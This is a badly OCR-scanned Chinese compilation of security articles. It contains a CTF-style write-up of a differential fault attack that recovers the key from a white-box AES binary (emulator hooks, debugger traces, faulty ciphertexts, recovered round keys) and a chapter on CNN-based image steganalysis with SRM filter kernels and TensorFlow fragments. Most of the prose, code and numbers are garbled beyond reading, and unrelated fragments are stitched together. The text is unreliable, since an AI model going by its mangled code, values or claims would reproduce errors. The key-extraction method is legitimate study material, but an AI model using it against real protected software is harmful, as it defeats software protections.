EMMEERSE, HNEMF:

{Ri% 0130’13 = 0x55, EfIEIXK—T:
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MEEBE, MIE 666 EINTZ—HRFEANKERR

a=[]
for y3 in

a.append (sbox.index( = sbox[i]) ~ y3)
(a)

[36, 77, 158, 192, 141, 212, 164, 145, 180, 244, 171, 129, 2, 28, 2, 61, 126, 28
, 14, 253, 15, 148, 47, 62, 249, 136, 60, 15, 14, 54, 35, 178, 27, 78, 229, 172,
36, 125, 60, 222, 240, 62, 214, 54, 138, 153, 162, 93, 64, 69, 61, 6, 81, 6, 90
104, 112, 47, 143, 27, 162, 35, 142, 107, 231, 11, 237, 209, 242, 12, 189, 48,
, 12, 11, 190, 77, 52, 243, 30, 245, 38, 191, 201, 107, 226, 248, 128, 125,
, 182, 227, 151, 211, 173, 104, 7, 161, 31, 221, 155, 81, 181, 7, 20, 195, 17
, 254, 90, 137, 126, 78, 64, 167, 93, 9, 69, 196, 197, 48, 147, 52, 9, 177, 20,
31, 187, 149, 98, 148, 26, 88, 39, 45, 101, 113, 36, 141, 129, 124, 162, 50, 21
1, 172, 73, 136, 209, 97, 150, 254, 145, 94, 26, 103, 201, 99, 82, 3, 3, 121, 11
, 171, 164, 39, 96, 245, 138, 231, 45, 117, 195, 25, 36, 178, 248, 237, 142, 19
, 25, 197, 153, 143, 242, 226, 227, 168, 75, 79, 180, 243, 221, 50, 161, 59, 18
, 192, 96, 187, 38, 229, 5, 94, 177, 151, 37, 5, 82, 32, 18, 212, 114, 181, 1o,
108, 167, 128, 240, 73, 176, 88, 117, 58, 10, 134, 38, 249, 98, 101, 137, 21, 12

1, 5o, IENMRTISCNINE, 191, 253, 32, 21, 75, 97, 1734529 130w hitankédentd:

222, 59, 189, 214, 244, 183, 155]

TEEET 256 M, ERBETHEAENRZEEEN, FrARIMU%E/) Z WBETCE., EEITZ2 2
&, MeHSEXNNN Y, BT 0 288, FRUAR A H 2R & %6/ )\ B EAR0SE .,

B 22 3z EAITE?




16.2

2R MEERE, M 666 BINNZ—EIREABGERR

RXEN 235 ZXAZEREPHSFE, FINUTER Z IR, HAZEENFE—THMITT, M
EEFNTE., FELSRIEMSZI 0x11B RKETHITE, HE—FH, BREBESNEL
2---RES5LK-F73hR, SRR, )

SEREIRIE

BB BSENE—1¥M frida M idapython A, XHEAARRE, HEMT unicorn 5%, —fig
¥, BE AES BIAHSWHERE—THEEZN/LTRAFP, XFENT Unicorn 0 HEMN,

BB EEREFE LX) woDEs, EXZET, MH DES MEA#ERHLD, HhsBERSEX
BAFPRYET oLLvM MISEI, ER OLLVMRIBEZEH) AES AR 8 EX ERRE, FixA T CHES
2016 CTF E#9—

BHAXNERER coB #HITHoW, AMEEFH nain RPETERRI@ANGA L, MEBIRE
chow_aes3_encrypt_wb PRE{H, £ chow_aes3_encrypt_wb NS,

GE: FQE(ER github FIRHE Shared object X, TIEERRMB, 7E makefile FFRHN T -no-pie
SH, Eﬁ%ﬁﬁ? g executable X1%)

t/ches_wb_challenge_aes_zoio/wb_challenge 11 £z 33 44 55 60 77 88 9% €0 11 22 33 44 55 6O

esh,Ox4217be)

www.anquanke o

ZIEEREBIRATERIME TR
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https://bbs.pediy.com/thread-254042.htm

REWR MEEBE, MIE 666 EINTZ—HRFEANKERR

--> OxBBT77665544332211
--> Ox527f01724d478e9b9

('R")

--> Ox52T01724d4f8e9%b%
- (<main+91=: mov esi,B0x4217bo)
(<chow_aes3 encrypt wb+135842>: ret)

(%)

(< start>:
--> 0x11

Ox4216dc <chow_aes3_encrypt_wb+135036>:

Ox4216de =<chow aes3 encrypt wb+135038>:

0x4216e0 <chow_aes3 encrypt wb+135040>: )
0x4216e2 <chow _aes3 encrypt wb+135042>: ret
Ox4216e3: nop WORD PTR cs:[rax+rax*1+0xo]

0x4216ed: nop DWORD PTR [rax]

0x4216f0 <__ libc_csu_init=: push ris

0x4216f2 < libc_csu_init+2=: push e

(=main+91=>: mov esi,0x4217b0)
Ox8877665544332211
0xX6655443322110099
@x52f01724d4f8e9b9
@x548eccB2b32aedef

(<__libc_csu_init=: push ris)
OxcB8e2le3ccallsgneg

-=> Bxl11

g ta, value
Breakpoint 2, 9x00000000004216e2 in chow aes3 encrypt wb () Z2E (www.anquanke.com |

RIMIZEFEA RST A RDI #1712, RSI REFAVIEHREMEEZITX, RDI RIFAVIEH 2R L
IR E,

ZETHatkEAE, BARENGEILESE L—RXE.

BEIREIANRTE, —EREEEDNRE, EHNSHNKER, SPA M DPA AIBMRHMKEMIE
ER, HNAENKEHELRS, HENIMIHNERRIIN, MUKNELTEITENL RS
RFENME, XWENTRENKEHUES. £ hook FRINTHIEFR M

if access == UC_MEM_READ and size == 1 and address<0xb0000000:

HA size==1 RINE/IZRN K/ NE—TFT, AN AES R AF T R BALHEITITERY;address<0xb0000000
BN T HIRRE R R AR P EURR IR A .
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REWR MEEBE, MIE 666 EINTZ—HRFEANKERR

7000000 . ‘ . . T .

6900000

6800000

6700000

6600000

6500000

5400000 1 1" " " i L i L
0 500 1000 1500 2000 2500 3000 3500 4000 4500

(RILBERMUENTHFIRR, SEFREM 0x61a800(6400000) £ 0x6acfc0(7000000))

X EMEL, ERRMEENERMNSHIE a5 Y,

TR, A hook HEIRFN, BMNBEIANNEZENR, LM, ENELRERER
ME, EXNEREF, RIIFECEHNHTEIANAE, BEoTEREL, RTBESIEIANT
7, MREFRLE TOMNMNR, HEUERS, AN TS IRERNUELTZ, REA
MERTT, RERNUERE—, RIFIANUEBEEET.

BZE2 T REFEHNERBLE:

628caf41f9a2f7ab1c57b9e23e137365
628c£341f961f7abc157b9e23e137366
628c2f41f91f£7abb557b9e23e13730e
628c1541f9caf7ab6e57b9e23e1373b8
628c6e41f9b0£7a5d857b9e23e137323
628c1b41£961f7a5c457b9e23e1373aa
628c3d41£93ff7ab7857b9e23e13730e
628c1e41£902f7abbb57b9e23e13732b
628c8c41f9e4f7aba757b9e23e137319
628ca341f948f7a56057b9e23e1373a2
628cc241f950£7ab0£57b9e23e137319
628cbc41f9aef7ab8157b9e23e13735a
628c4e41f9a1f7a50057b9e23e1373e3
628ccf41£914£7ab7£57b9e23e137317
628cbc41f9aef7ab8157b9e23e13735a
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REWR MEEBE, MIE 666 EINTZ—HRFEANKERR

628caf4af9a286a51cf9b9e2d7137365

628cafd9f9a22aab1c3bb9e205137365
628cafd9f9a22aab1c3bb9e205137365
628cafd9f9a22aab1c3bb9e205137365
628caf85f9a27aab1cb4b9e2d4137365
628cafc2f9a245a51ce9b9e2£4137365
628cafd9f9a22aab1c3bb9e205137365
£88caf41f9a2f7441c5782e23e£47365
6c8cafd1f9a2f7c71c57c6e23e297365
a68caf41f9a2f7781c57e6e23eb97365
828caf41£9a2f7391c5739e23e£27365
d48caf41f9a2f7931c57£7e23e8b7365
3d8caf41f9a2f7061c5736e23ee87365
6236af4122a2f7a51c57b9b83e138£65
62faaf41bba2f7ab1c57b9483e133365
6236af4122a2f7a51c57b9b83e138£65
6296af41b6a2f7ab1c57b9£93e138a65
6272af41b3a2f7a51c57b9493e13bb65
62f4af4lada2f7ab1c57b9ef3e13bd65
6272af41b3a2f7a51c57b9493e13bb65
62cbaf4167a2f7ab1c57b93e3e133£65

=3 BB ZHHEIRM L5, F{FE B 7 A https://github.com/SideChannelMarvels/JeanGrey/tree/master/phoenix AES
HIT LR IT RS IR
BRE 10 RZAZE ﬁﬁHIE aes keyschedule }E%tt‘. AES-128 FYZR5R,

mi@mi-0ptiPlex-7060:~/w oo L/ ta h 20165 python3 show_Key.py
Last round key #N found:
OFC592CC67DT7BFO2F42748
mi@mi-OptiPlex-7060:~/ut d ta 165 aes_keyschedule 9FC592CC67D77BFO2F42748C3E171995 10
©: DEC1A551F1EDDECEDE:
: 0818271BF9FSFODB27BEE4757BB30164
¢ 6764643A9E919DE1B92F7994C29CT8FO
: BDDBEB1F234975FESAG6OCH6ASBFATA9A
4: 984A5075BB03258B216529E1799F5D7B
KO5: 530671C3EB8055448C9607DA9BOFF20D2
K06: 65B1C4248DB4906C44D4EDC5F42BCD17
: D40C349B59B8A4F71D6C4932E9478425
: F4530B85ADEBAF72BO87EG64059C06265
: 55F9464EF812E93C48950F7C11556D19
: 9FC592CC67D77BFO2F42748C3E171995

2% ( www.anquanke.com )

16.3 B&:

[1]https://blog.quarkslab.com/differential-fault-analysis-on-white-box-aes-implementations.html
[2]https://bbs.pediy.com/thread-254042.htm
CAMRESPNARREROBEAEIN, FIEE QQ: 3022560938 B R HA!]
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17.1

17.2

17.2.1

- EERSARN DT

E&: nggq HYWZ
SR https://www.anquanke.com/post/id/192573

=[]
REATKEATRENZER, BEMNEHD FHRARSERODHRFEEFRAMEZETES KNEENX
FENZERE (BIFERR 9.11" FH) &, AMNERBTHRNASAREERNERS, BRIRE S
BTN BAPFESRBENZERNNE. AXDTERMRERE, BET—TREDNNE
REZMEER, ERARIFNREDHTIEEE.

onf

BREAR
BEREARZ— BRI ENEGRERIINRANERGHRBWEHEENEANNE, RERRER
HERZAR AN, XMEKRRESERE RSN, ERRAXNRENRESTIT L0
ERGCEAN
REFZEN—TEARDXEZREREEE. £ZEELH, REFANERRERNREGRN
REANRENRRENERER. AENERHERAL (LSB) R, ERERRARGEERNREEN
iz, BRZEEN, LSB BRAMKREMFZIFEENIZEEE, XEWERIEREENERGRENE
NoHAEZTEG L, AW, REFEESFMRAM, UTFSEEKEFNEZRARLETEXREFNEGERE
FRREREE, X—SXEHBTEIRITHNEENREEET,

BiERRE HE
BENRSEZEZEMNRFINEGATNLCEXERBERRER. FIALEEENIREAR (EA) RiE
MIESBRRZENEFERBHRRAREXE, BaIRTHEENREHIEAR HUGO, HILL,
MiPOD, S-UNIWARD 1%, EfE&/MUARERBIERTHTTIRIT, BIELAABTEGTNE
MEEDERARS, BRIERAREENKEREY, REBIRELEROHEAERERHRIVEARIR
SEMNHZRER, EKIA, REFEENTEHENEE, XNENRNEEEEES.,
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17.3

17.3.1

REWR TERE AN
BRE D

RHEREOMBEZEIEETFTRENSE, ERANKSERRARENEEALEHE. BRAIXS
E. BERZTHRAMNWHAEBIFFTSE, SHERSE SRM) EEEMENIHERERAXELINAE
SREDTIAERAINNEFRENEE, ZREFTEZHNEDBGREXRMIRIT, B 78 TR
BIRBVEMERIRE, EUEM FFASHIFIEOE, ZREEBON=1"="H8%E, 238, &F
WA BENRRERN HUGO B, ETWEBENMN EA BiE, METRMA=TRIBN s1 FEEEE,
SRM HJIFHABAN T,

SRM

lEW

b PR E

SRMAFIE =] 15

|

LEZ SRM REDITHIRIRING A, BAEESERKSARZREZERGFRE, BEITENL.
BENEBETHENE—IRREZRGFRENITM LR, REEXEHERENTRENRHTIMMRE
534,

SRM IRIT T ¥ ESHFNTHEEIRKE, AMEAXLERKRINEGEITIREN SGREINFESH
MEZEGFRE, IEXRZRGFRETEHESERKENESR TEEETERGNSHIMNS .
SRM EHFEZHNZERGFRETEFAMITERR, F—TEAEARAREE LT TEGAZE,
BNT EIRSERRSEE, FRAIMFIEEMRENETE. FB2TENEGRNENMERNRBS RN
AR SHMELHREZEGENUENETEREREREZN, BRUESHS —LERERGIEN
UENHEPEREXREREEN, PIMERE-RBAZRIETEZEIRRETR A ERRS RN
SIENEGRBEREXERL.

Eit, SRMiIgItNFEREZEER G FREEEZEERARE S ENEIGESMERBRENTN,
SRM M5 ZEGFRE AT
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RERR FERESAREUS

E ;]IlEl!!!’i:! u}-!‘imur
Hep ¢ 2 WREM, m. n BRFFITERENGELIR, Nu it La JIHEEE, L
AJET Ngar pred (Nga) fCFIE Ly AN clpg, — A% Ngg TR AR AESF T 0o ©

HRETEEE—M. ZM. =K. SQUARE. EDGE3x3 5 EDGE5x5 7\ KE, M TR E
Ne@iEEss., KE. BEE. A%, RNBZLAEMNRZERTN Rh,Rv,Rd,Rm,

Residual Type« HPF« Linear Residual<
First-order< (1,-1)¢ R =Viit1-¥;€
Second-order<’ (Lz2.)€ Rit=¥is1-2¥it¥ij1€
Third-order<’ (1,-3,3,-1)< Ri=51-3¥i 3y i+1-Yigra®

-1..2 2.2 =]
(=1 2 -1 2 6 8 -6 2
2 4 2|, |2 8 -12 8 -2
-1 2 -1 2 6 8 -6 2
-1 2 =2 2 =l

SQUARE3x3. SQUARESxS il B ik 23«
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REWR

FERE AR

—

g -
4 2
3 =

EDGE3x3. EDGESX5 il gk 25«

17.3.2 S&H4B%E

17.4

MNTFLMEAENS, LRIBESE

2 -1
-6 2
8§ -2
-6 2
2 -1

—Br. 2R =R ERT RS I, MUSEHE, SR, SQUARE,

EDGE3x3 5 EDGE5x5 &MAZRZHEITERER T EZHHMBEIHERZE. SQUARE, EDGE3x3 5

EDGE5x5 58

IRNERNERIEE, WT:

— /=t

i,j /RNF

RE oD
JLE, BEE GPU (Graphics Processing Unit) FH{TITEAXFTREZINLRE, o DUMEMF T1REUS
N A EMNBIREARGZIREER.

AXFATREZIMFAELT SRM A& MR ENTF TR A AHITREE RIS 217,

IRITREAMSEE ST,

225

BRI LB, XA, SGMARENTTELEZET

KREEZENBRAUE, r. c RNGENGRRUE.

PERZEAERANEGHN SR




17.4.1

FERE AR

Conv Conv Conv Conw
f Input 104x (5x3x94 104x (3x3x104 104x (3x3x104 104x (3x3x104)
\ 12564256 ) Stride:l Stride:l | Stride:l Stride:l
. TLI RelLl RelLl Rel
roce Laver ? 1 Layer ‘
Layer
Cony Conv Canv
MeanP M. Pool WeanPc
06x (5x5x10 el % (5x5x106 e 106x (5x5x106 e
. 3x3 . . 3x3 | | . t dx3
tride Stride:] 5 Stride:1 i
Strid Stride Stride
Rel.l Rell Hell
Laye Layer & Layer |
Cor Con Cover )
3x (hxdx106) x{3 -
1 Stride:1 [ | Stride:3 ‘ i tma
Rell Rell
STe ]
Laver 8 Laver 9 Laver 10

REHZIAR /) 256256 ME R, HMEMERE, CNN BIFZERAMN, EFEE—1TEGLE

B. /\TERERATHERR, — T 2ERERTE

RESREERIS

s
DK,

FEEGMLEES, AARLT SRM REMEARENF TR E. BERKIEMIIRITT — T EER
7930, R/ 5ES BIFEREIENERZ, (£ SRM FUREERY 30 1 HPFs #liaft it R %, AREILS
Rz5REGHERECE, AFILMRERS, EESTFENREER. AAERN 30 S8

51&\5&%%?\3 :

[[LL 0. 0. 0. 0. 0.]

[0.0.1.0.0.]
[ 0. 0. -1. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0.0.0.0.1]]

[[L 0. 0. 0. 0. 0.1

[0.0.0.1.0.]
[ 0. 0. -1. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0.0.0.0.]]]

[[L 0. 0. 0. 0. 0.1
[ 0. 0. 0. 0. 0.1
[ 0. 0. -1. 1. 0.]
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ZEWR

TERE AN

[ 0. 0. 0. 0. 0.1
[ 0. 0. 0. 0. 0.111

[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]
[ 0. 0. -1. 0. 0.]
[0.0.0.1.0.]
[ 0. 0. 0. 0. 0.1]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]
[ 0. 0. -1. 0. 0.]
[0.0.1.0.0.]
[ 0. 0. 0. 0. 0.1]]

[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. -1. 0. 0.]
[ 0. 1. 0. 0. 0.]
[ 0. 0. 0. 0. 0.1]]

[[[ 0. 0. 0. 0. 0.]
[ 0. 0. 0.0.0.]
[0. 1. -1. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0.0.0.0.1]]

[[[ 0. 0. 0. 0. 0.]
[0. 1. 0.0.0.]
[ 0.0.-1. 0. 0.]
[ 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.1]]
[[[ 0. 0. 0. 0. 0.]
[0.0.1.0.0.]

[ 0. 0. -2. 0. 0.]
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ZEWR

TERE AN

[ 0. 0.
[ 0. 0.

([ o.
[ 0. 0.
[ 0. 0.
[ 0. 1.
[ 0. 0.

[C[ 0.
[ 0. 0.
[ 0. 1.
[ 0. 0.
[ 0. 0.

[LL o.
[ 0. 1.
[ 0.0
[ 0. 0.
[0.0
LLL o.
[ o.
[o.

[o.
[o.

[LL o.
[0. 0.
0. 0.
[0. 1.
[ 0. 0.

[LL o.
[0. O.
[0. 1.

1. 0. 0.]
0. 0. 0.1]]

0. 0. 0. 0.]
0. 1. 0.]
-2. 0. 0.]
0. 0. 0.]
0. 0. 0.11]

0. 0. 0. 0.]
0. 0. 0.]
-2. 1. 0.]
0. 0. 0.]
0. 0. 0.11]

0. 0. 0. 0.]
0. 0. 0.]

. =2. 0. 0.]

0. 1. 0.]

. 0. 0. 0.1]]

0. -1. 0. 0.]
3. 0. 0.]
-3. 0. 0.]
1. 0. 0.]
0. 0. 0.1]1]

0. 0. 0. 0.]
0. 3. 0.]
-3. 0. 0.]
0. 0. 0.]
0. 0. 0.]1]

0. 0. 0. 0.]

0. 0. 0.]
-3. 3. 0.]
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ZEWR

TERE AN

[0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0.111

[[[ 0. 0. 0.0.0.]
[0. 1. 0. 0. 0.]
[0. 0. -3. 0. 0.]
[0. 0. 0. 3. 0.]
[ 0. 0. 0. 0. 0.1]]

(L 0. 0.0.0.0.]
[0. 0. 1. 0. 0.]
[0. 0. -3. 0. 0.]
[0. 0. 3. 0. 0.]

[ 0. 0.0.0.0.1]1]

[[[ 0. 0. 0. 0. 0.]
[0. 0. 0. 1. 0.]
[0. 0. -3. 0. 0.]
[0. 3. 0. 0. 0.]

[ 0. 0. 0. 0. 0.1]]

[[[ 0. 0. 0. 0. 0.]
[0. 0. 0. 0. 0.]
[0. 3. -3. 1. 0.]
[0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.11]

[[[ 0. 0. 0. 0. 0.]
[0. 3. 0. 0. 0.]
[0. 0. -3. 0. 0.]
[0. 0. 0. 1. 0.]

[ 0. 0. 0. 0. 0.1]1]

[[L 0. 0. 0. 0. 0.1
[0. -1. 2. -1. 0.]
[0. 2. -4. 2. 0.]
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[0. -1. 2. -1. 0.]
[ 0. 0. 0. 0. 0.111
[[[ 0. 0. 0. 0. 0.]
[0. -1. 2. -1. 0.]
[0. 2. -4. 2. 0.]
[0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.111
[[[ 0. 0. 0. 0. 0.]
[0. 0. 2. -1. 0.]
[0. 0. -4. 2. 0.]
[0. 0. 2. -1. 0.]

[ 0. 0. 0. 0. 0.111
[[L 0. 0. 0. 0. 0.]
[0. 0. 0. 0. 0.]
[0. 2. -4. 2. 0.]
[0. -1. 2. -1. 0.]
[ 0. 0. 0. 0. 0.1]]
[[L 0. 0. 0. 0. 0.1
[ 0. -1. 2. 0. 0.]
[ 0. 2. -4. 0. 0.]
[ 0. -1. 2. 0. 0.1
[ 0. 0. 0. 0. 0.11]
[[[ -1. 2. -2. 2. -1.]
[ 2. -6. 8. -6. 2.]

[ -2. 8. -12. 8. -2.]

[ 2.

-6. 8. -6. 2.1

[ -1. 2. -2. 2. -1.11]

LLC
[ 2.

-1. 2. -2. 2. -1.]
-6. 8. -6. 2.]

[ -2. 8. -12. 8. -2.]
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[ 0. 0. 0. 0. 0.1
[ 0. 0. 0. 0. 0.111

[[[ 0. 0. -2. 2. -1.]
[ 0. 0.8.-6.2.]

[ 0. 0. -12. 8. -2.]
[ 0.0.8.-6.2.]

[ 0. 0. -2. 2. -1.1]1]
[[[ 0. 0.0.0.0.]

[ 0. 0.0.0.0.]

[ -2. 8. -12. 8. -2.]
[ 2. -6. 8. -6. 2.]

[ -1. 2. -2. 2. -1.]11]

[[[ -1. 2. -2. 0. 0.]
[ 2. -6. 8. 0. 0.]

[ -2. 8. -12. 0. 0.]

[ 2. -6. 8. 0. 0.]

[ -1. 2. -2. 0. 0.111]

BENFFEEIENE SRM_Kernels B, EEXZEESETRZ W_SRM B, (%A SRM_Kernels £])

taftZE, W

W_SRM = tf.get_variable(’W’, initializer=SRM_Kernels,

fe 5 o AT LM REMIR

AXNATRITEZINABTBENREEERIMERE2ITEEAMEE, Bl WOW. S-UNIWARD, £
A 10000 5k E F BIE 1% & BOSSBase 1.01, FEEGG N 256256 MR ERE, BEEEIH
10000 XRE. FRREE, 1%&#F 8000 XI#i)llZk, FIFKAIZ 1000 XIHRIQTEFDMIH

GRU TR, BERTREDWEVERS,

S-

Algorithms+ WOW(0.2bpp)< S-
UNIWARD(0. | UNIWARD(O.
2bpp)< 4bpp)<

SRM+EC< 0. 635¢ 0. 745¢ 0. 634¢ 0. 753¢

My Model< 0. 710181« 0. 818548« 0.661220< | 0. 765625
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EEF, SRM+EC AREFNFTRIUFENREONRE, BERFIN, AXNEENHMER
SEENNNERRERS, BY 7TEANREDEE, BERFIMR

ETEMRIFEERERIFES

ARG MRERTREFIUENZIN, TR —TEMAEFIERNRIR DN BIMUESE G R
RURRMEZEMN, REHAFILESEIR, MIFZLEFAEFILAER BthIRtNZ M RE, Ft, ANSRHL
BRI MFEHRTREIFIENTS), RETHNERHEZNZREOMEE, cREEENRE
DT IERE,

TERE SRR RHE

RLHRREINMBEFETFINNRE, REARETHERE SRM, HHEHEIRK—EBNERA, #
FMNRE T —RIBANRE oW EE, BIHAEH SRM HHLFGRB X A% 0 BB FIFEAIIREX
A, AEEFEEXERNRESMAR. 15, SRM B RHELUHNSEIRKEE SREMEEF
REN=FZHIFE, AMXESBIRESENRITAZETER, RZ™ENICIENDT. BFEEINN
MEBERGZIFHAREEN, MEHREZNZESHEHAIIX—ER, £ GPUIREZE>)
T, REDITHENTFHMER.

2014 F, Tan M Li RHETE—TNAREZIRANBREDITEE, BEAETERIEHENER
MEML (CNN) #TEBREES), e, 2ENEASBEIRKEE HPF) MEGH#ITIE, M
SRATESIANRERENZN, HHTREFS, 2015 F, Qan FARETE—TXRAREZEY
FENBRMENBER, Xu FARE T —TEMTF Qian BY CNN EE, TEME, MINERT—
TEIIER (ABS) Ml 1E1 FETRLEIMBSITER, 2017 F, XuFAE ResNet IR T, 1HET
— TR CNN 2B, B 20 MERBAM. Ye EARE T —TH 8 NMERBAEMNTI CNN EEY,
EEMGEERM T BMEE 2T (TLU) BIER B —AIEKE, XEREHRET SRM, HATH
BT IR B ETRZ, DERBEMAEIFTR., 2017 EXEMNEBZNA ResNet FiL T HFAH
ZWLELRN, FEMELLT SRM FHEREVA R, EEFRS TREDADNZER . 2018 &, Yedroud;
ZFANRET—TH 5 MERBAMNTE CNN RE, ZiEEER T ET SRM FIHREA RN S BIE
RERERNTMIEERNER%, HEES—TERERHIANT BN, Zhang FARE T A CNN 1RE,
EERREN D BESRNERSIHIEBBENTEAMEXMY, MO spatial pyramid pooling (SPP) 4bE
AERNMIER, RS THHIERIANGE

E=EA, BEUESE SRM F TIREE MR EFENS L, ZEMRENRESMEEERRE
FIRANBBEGHEI TEFENRERS, BUYSTMMT SRM AERE,

MANTHIRE DT CNN REHEFEMREREHTRE DN, XLEMZRENTL AT
T ZIERBRIRENZEES., T SRM ARKE, NZiERRRIENEEERHITIERMEASRERE
BRIFIRIGASTH T, BARSRS,
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REWR =R S RIMW 4T
17.8 SRM pyIEL %=
t—EBXEEZHEAT SRM FEMHRENEMITESE, NTFELEUBEMS, M TEFR

T, EREEKREMITEEESHAXRLHBREAENEANESIR/NMEFE, Ef, RjRTE
—BRYIRN () NERERER, KF. BEH. IHAL%. RIBLEHENERERTA RhLRVRARm,

Rymo=min R RiuR5 SRR, Ryfo=max i R, R Ryl Ry? |

M—B5RERE, BRG—MIFEMHEE, BABITERGME—NEAMRE, BAITERRR
NMERDRIGM T —MIF& A E. TERIZR—MEERERE, yij BSKBRAZEMENGRE, yij+l
w%‘iﬁﬂﬁi%fn%ﬁﬂ%?ﬁﬁ’\]— MBIREE.

BRERMBERERMN, KEHFE, EEAE. WAKHIRNABEHFEEE 2 M TENE LT
Z, B—HE I P—MEMHKE, WT,
Rim i Yig=17Ys » Yirtg#17Yi » Yer1g1-Vig » Yigs1Vsj » Yig1-¥i » Yies 55 o Yicig Y5 » Yaljoi-Vij

LERS, —MIEZIERELT,

aaaaaaaaaaa

aaaaaaaaaaaa

L MERERS TRRLEHREZENFITRHLE, EERRTRERANESENEGRFEREX
MERHIER, BB *&%E’\JF_‘T%%EO

17.9 BT%, FEMRENRSOITRE

KRS ORBEUEI T T T A ML EAEHFENFTIRNA N, RUEMERERTENS AL L
—RXERENELS ., XEXTEHERIFLEAEFTNFARNS,

17.9.1 {RBIRIELMBREFEANIRT

ETF SRM I EE MR ERITIFIEE L EMYTSR, =1 T SRM HPFs SRERAI 454 = 5 B 1TIEE
MR, KRG TIEEMRENRILE,

AX(EART—. Zk. =M. SQUARE. EDGE3x3 ] EDGE5x5 BJ3X752% SRM E@IEESE (B
BIERESEAEEA N E—REXE), EMNBEDFIRE 8. 4. 8. 2. 4. 4, X330 TEHBEIREHRS
5z8RE 30 MEMERESTER. —. 2. ZHOESMFRESTEESZE 2 T, SQUARE 7
79 SQUARE3x3 ] SQUARESx5, BB TIRAER T EDGE3x3 fll EDGE5x5, Eltt, SQUARE3x3 fl
EDGE3x3 AR LB FE—AKZE, —HE 2 MEMFRELIEE, SQUARESXS #l EDGESxS5 E3E, HAlt,
ERAEETE 2 NMEEMEEEIEE, 2RHRENNA—H 10 MEEEMRERTEE., MERZ%
MREEBVBRTERZNAER—, ERBIANIEEYREERVRNERZ, WIRERZE 40
B8, Bl 0 BEFERALMRENRN, RE 10 BEFERIFLEZREDRL.
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17.9.2 {RBIhEL MR Z4FIERSEH
SR E—RKEGNIEL TR EE B, E?ﬁéﬁﬁﬂbﬂ'ﬁﬂ’_{ﬁﬂ‘a%ﬁu, HEE—RXECSHER
IRENZFINZEMIREE RN Resi, EA=TTEE, STBEFLEEIAN—MEMREFLEER.
SRENZE Resi f7, REMN=1TTEBEIZDF, HIIR1TF 30 MEMUFRERILER . 7 tensorflow 12T
DREWT:

inputnumO, inputnuml, inputnum2, inputnum3, inputnum4, inputnumb, inputnum6, inputnum?7, inputn

Ei1X 30 MM EREEE RS, inputnum0 £ inputnum?7. inputnum8 Z inputnumll, inputnuml2
Z inputnum19. inputnum20 Z inputnum?24. inputnum25 Z inputnum?29 SRR AAREEMHFREEER, Al
—MNEMIEE. ZMEHRE. ZMEE%ZE. SQUARE3X3+EDGE3x3. SQUARESxS+EDGESXS XA

K.
MNERBERLERHITIRE LR, BIRGENNEAR/IVE, U—HEMEEX—XNE, £
BT

maxnum0 = maxnum(inputnumO, inputnumil)
maxnum0 = maxnum(maxnumO, inputnum2)
maxnum0 = maxnum(maxnumO, inputnum3)
maxnum0 = maxnum(maxnumO, inputnumé)
maxnum0 = maxnum(maxnumO, inputnum5)
maxnum0 = maxnum(maxnumO, inputnum6)
maxnum0 = maxnum(maxnumO, inputnum?)
minnumO = minnum(inputnumO, inputnumil)
minnum0 = minnum(minnumO, inputnum?2)
minnum0 = minnum(minnumO, inputnum3)
minnum0 = minnum(minnumO, inputnum4)
minnum0 = minnum(minnumO, inputnum5)

minnum0 = minnum(minnumO, inputnum6)

minnum0 = minnum(minnumO, inputnum7)

XFEERIE maxnum0, minnum0 Bl AR AR/N—MIEEZMREEE . HP, maxnum ] minnum
BRED BIE XA T :
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maxnum(a, b):
= tf.reshape(a,
= tf.reshape(b,
= tf.where(tf.less(a, b),
= tf.reshape(a,
a TeE= ( www.anquanke.com )
lef minnum(a, b):
a = tf.reshape(a, [252, 252])
b = tf.reshape(b, [252, 252])
b = tf.where(tf.less(a, b), a, b)

521)

= tf.reshape(b, [I

b Z2eE ( www.anguanke.com )

17.10  RRE S REERELLER
RIMNIRIU LA EFRERLRINRE D ITRELN SRR, (EHIFEMERERFTRBNEE D
HRED FREMARES, EREME ML MR EFIERIARE D TRER ‘our model’, SEIHY
FRE DTSRRI TR,

Bt 53 =Eicly FEEEERES | Ye-Neto Our model”
WOW(0.2bpp)<” 0.710 0.697< 0.669¢ 0.714¢
WOW(0.4bpp)< 0.819¢ 0.788¢ 0.768¢ 0.8444¢
S-UNIWARD(0.2bpp)- | 0.661< 0.609< 0.600< 0.669«
S-UNIWARD(0.4bpp)- | 0.766< 0.734< 0.288 | u 792

Hep, REH Ye-Net E— T HERNERHEMBREOTRE,

BRI SRR T FELMEE, £ Wow NREOMNF, JFELMEER fERRRT
“GIEREL 49 2%, {BTE S-UNIWARD BUFR S DAt/ ERRIR T4 3%~%6, ASIANIREIEFHES:
{EAEAEMER T T BRE MR ERTINEAR/IME, RBEEESRPTREFLEEX—EIND HIFHL,
FIREREE M RIRAAA FTRERIR B R E5 EREGARBERAXMENL, BB D RIiEFE
LEHEFERME. (B FEMRE (ERRIYST CNN RESTWE Ye-Net, HR L E&EE
BERIFNZSY, BEIERREERIIFIERIA.
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‘our model’ Xf WOW #1 S-UNIWARD B[R 5 £ T M RI9F F & MAER M JELMAEER, &
BRAZER 0.2 B9 WOW F1 S-UNIWARD RS &EJEH, ‘our model’ WREDIMERES T &ME&ER
L MAEED £90.3% Bl%6, MRMFHEE, WHEEHHRAXREDITERETH, XEERZRSET
RRIRAMRERIMNERN, WAL YL MRS S TEE AT 1T,
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{E&: 404 Not FOund
3R https://mp.weixin.qq.com/s/QKKUSd3b-X2QQGkyZMQ2Xw
XERRK, BATNMISEIGEIENER, EZRMINETEREFRENTRE,

18,1 X@F: FEREE. AHAMRIEENERSE.
RANFEROAIMENZRT TS W REZ TS, ROSMERRAXEDZIIRT.

182 BHBEN: ¥EHCS

RIDEN—RBEXEFEOIEMEN T, “AETIE focus FH S LIERN/\GE, BB, 4
AEECNLLBEN TR, BEBRET—T, HXALEE, B/ NEINERER, EBENT
